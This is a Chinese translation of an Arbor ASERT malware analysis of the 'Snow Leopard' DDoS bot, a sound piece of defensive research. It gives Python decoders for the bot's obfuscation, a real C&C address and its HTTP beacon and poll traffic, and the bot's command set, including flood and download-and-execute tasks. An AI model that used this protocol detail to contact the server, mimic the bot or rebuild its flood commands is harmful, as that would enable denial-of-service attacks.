Arbor成功攔截雪豹病毒
@malpush把Tweet中的木馬雪豹暴露到了我們Arbor的無線電探測器中,此次的木馬表現(xiàn)是在Tweet中顯示一個網(wǎng)址,當(dāng)你填入信息后,他會通往一個指令和控制面板(C&C)如下所示:
這一現(xiàn)象使我深信我應(yīng)更深入地了解雪豹。巧合的是對于Arbor來說,這一惡意程序結(jié)果竟是DDos(分布式拒絕服務(wù)攻擊)僵尸程序。
惡意程序樣例
分析研究樣例可以在malwr查找到 (MD5: 4fa91b76294d849d01655ffb72b30981)。
這是用Delphi編寫的惡意軟件包括以下幾種形式: UPX填充,字符串模糊處理,反病毒機(jī)器,反調(diào)試,自我修改代碼,過程挖空。
這種基于Delphi的使用和使用的面板部分的語言,很可能是起源于俄羅斯。
模糊處理
木馬雪豹使用兩種模糊處理方式;它們是 base64 和 XOR的聯(lián)合。不同秘鑰使用不同的部分。第一個模糊處理方式是用在字符串上,可以用下面的Python函數(shù)可以解碼:
def decrypt_strings(msg, key): msg_no_b64 = base64.b64decode(msg) plain_buf = [] for i in range(len(msg_no_b64)): key_lsb = ord(key[i % len(key)]) & 0xf msg_lsb = ord(msg_no_b64[i]) & 0xf c = msg_lsb ^ key_lsb d = c ^ 0xa msg_slsb = ord(msg_no_b64[i]) & 0xf0 plain_byte = msg_slsb ^ d plain_buf.append(chr(plain_byte)) return "".join(plain_buf)
下面是一些例子:
>>> decrypt_strings("QG1wZ2xnPj4sZGNk", "12xc3qwfhjeryTTYHH") 'Kernel32.dll' >>> decrypt_strings("TG12RGZveGBnSG5mZ2JrQg==", "12xc3qwfhjeryTTYHH") 'GetModuleHandleA' >>> decrypt_strings("dWpkbXFqZmxi", "mu#X") 'removeone' >>> decrypt_strings("cn9tY3Nqf2d1", "mu#X") 'updatever' >>> decrypt_strings("ZXN8djotITgyOyQ0MD4mOD45Jzc5I2NmfS1kaXhzdCx+YXo=", "GMrlZ8t3pypO3423423LpFqCUx") 'http://188.190.101.13/hor/input.php'
第二種方法主要用在C&C通信上,并且可按照下面Python函數(shù)清理:
def decrypt_cnc(msg, key): msg_no_b64 = base64.b64decode(msg) plain_buf = [] for offset, enc_byte in enumerate(msg_no_b64): plain_byte = ord(enc_byte) ^ ord(key[offset % len(key)]) plain_buf.append(chr(plain_byte)) return "".join(plain_buf)
下面是一些例子:
>>> decrypt_cnc("ChYJCRhta3k=", "\x38") '2.11 USA' >>> decrypt_cnc("DRhAAA4YeRgIXBgIUBgPVRgKAEs=", "\x38") '5 x86 A 0d 0h 7m 28s'
指令與控制
C&C是基于HTTP(超文本轉(zhuǎn)移協(xié)議)。兩種信息類型已經(jīng)被識別出來了。第一種信息類型o或者是“背景連線通訊”就像這樣:
POST /hor/input.php HTTP/1.0 Host: 188.190.101.13 User-Agent: Mozilla Gecko Firefox 25 Accept: text/plain Accept-Encoding: identity Accept-Language: en-EN,en Connection: Close Referer: http://mhome.br Content-Length: 106 Content-Type: application/x-www-form-urlencoded m=CA==&h=CQAACAsPDgEICgkPCQkPDQgPDw4KCQ4LDw4BCwE=&p=cHd1fQ==&v=ChYJCRhta3k=&s=DRhAAA4YeRgIXBgIUBgPVRgKAEs=
這就是它如何被解碼的:
m=0&h=18803769021711750776216376939&p=HOME&v=2.11 USA&s=5 x86 A 0d 0h 7m 28s
它的POST參數(shù)是:
· m – Message type (0)
· h – Hash based on computer name
· p – Computer name
· v – Version and locale
· s – Windows version, architecture, user type, and uptime
背景連線通訊反應(yīng)如下方:
HTTP/1.1 200 OK Date: Wed, 04 Dec 2013 14:48:27 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Content-Length: 32 Connection: close Content-Type: text/html; charset=UTF-8 dVdCUVRUWRh/XVtTVxh+UUpdXldAGAoN
被解碼,這是在請求中使用的用戶代理
>>> decrypt_cnc("dVdCUVRUWRh/XVtTVxh+UUpdXldAGAoN", "\x38") 'Mozilla Gecko Firefox 25'
第二種信息類型是1或者“指令調(diào)查”。 如下方:
POST /hor/input.php HTTP/1.0 Host: 188.190.101.13 User-Agent: Mozilla Gecko Firefox 25 Accept: text/plain Accept-Encoding: identity Accept-Language: en-EN,en Connection: Close Referer: http://udot.tk Content-Length: 49 Content-Type: application/x-www-form-urlencoded m=CQ==&h=CQAACAsPDgEICgkPCQkPDQgPDw4KCQ4LDw4BCwE=
被解碼為:
m=1&h=18803769021711750776216376939
它的POST參數(shù)是:
· m – Message type (1)
· h – Hash based on computer name
調(diào)查反應(yīng)樣例:
HTTP/1.1 200 OK Date: Wed, 04 Dec 2013 12:56:16 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Content-Length: 72 Connection: close Content-Type: text/html; charset=UTF-8 UExMSF5UV1dcElBMTEgCFxdMWUpfXUwWVl1MF1FWXF1AFkhQSBcSAAgSCQ0IEgg=
被解碼:
decrypt_cnc("UExMSF5UV1dcElBMTEgCFxdMWUpfXUwWVl1MF1FWXF1AFkhQSBcSAAgSCQ0IEgg=", "\x38") 'httpflood*http://target.net/index.php/*80*150*0'
指令被多個“*”限定,如下面格式:
command*arg1*arg2*arg3*arg4*arg5*arg6*arg7
指令
下面的bot(網(wǎng)絡(luò)爬蟲)指令已被識別:
· httpflood – HTTP GET flood
· httppost – HTTP POST flood
· udpflood – UDP flood
· synflood – TCP connect flood
· tcpflood – TCP flood
· download – download and execute (all bots)
· downloadone – download and execute (specified bot)
· update – update (all bots)
· updateos – update (specified OS)
· updateone – update (specified bot)
· updatever – update (specified version)
· removeos – remove bot (specified OS)
· removeone – remove bot (specified bot)
· s! – stop all floods
· su – stop UDP flood
· sh – stop HTTP flood
· ss – stop TCP SYN flood
· st – stop TCP flood
關(guān)于每個指令的更多信息,可在C&C面板內(nèi)的“任務(wù)管理”一欄查找到。
注意:我在分析的二進(jìn)制里看不到任何關(guān)于“memexec”或者“script”指令的引用。
指令和控制面板
總結(jié)起來,這便是指令和控制面板幕后的行程;“靜態(tài)/指數(shù)”頁面:
這便是“上傳”頁面:
部分“Bot清單”頁面:
結(jié)論:
該篇分析了crypto(加密),C&C基礎(chǔ)設(shè)施,與木馬指令臺。雪豹——一個新的DDoS bot(網(wǎng)絡(luò)爬蟲)程序很可能來自于俄羅斯。在寫入的同時,僅有少量的獨特樣例與C&C服務(wù)器已經(jīng)被識別了,那么這項新威脅之攻擊規(guī)模和影響還有待確定。Arbor安全工程響應(yīng)小組(ASERT)將會繼續(xù)追蹤雪豹病毒。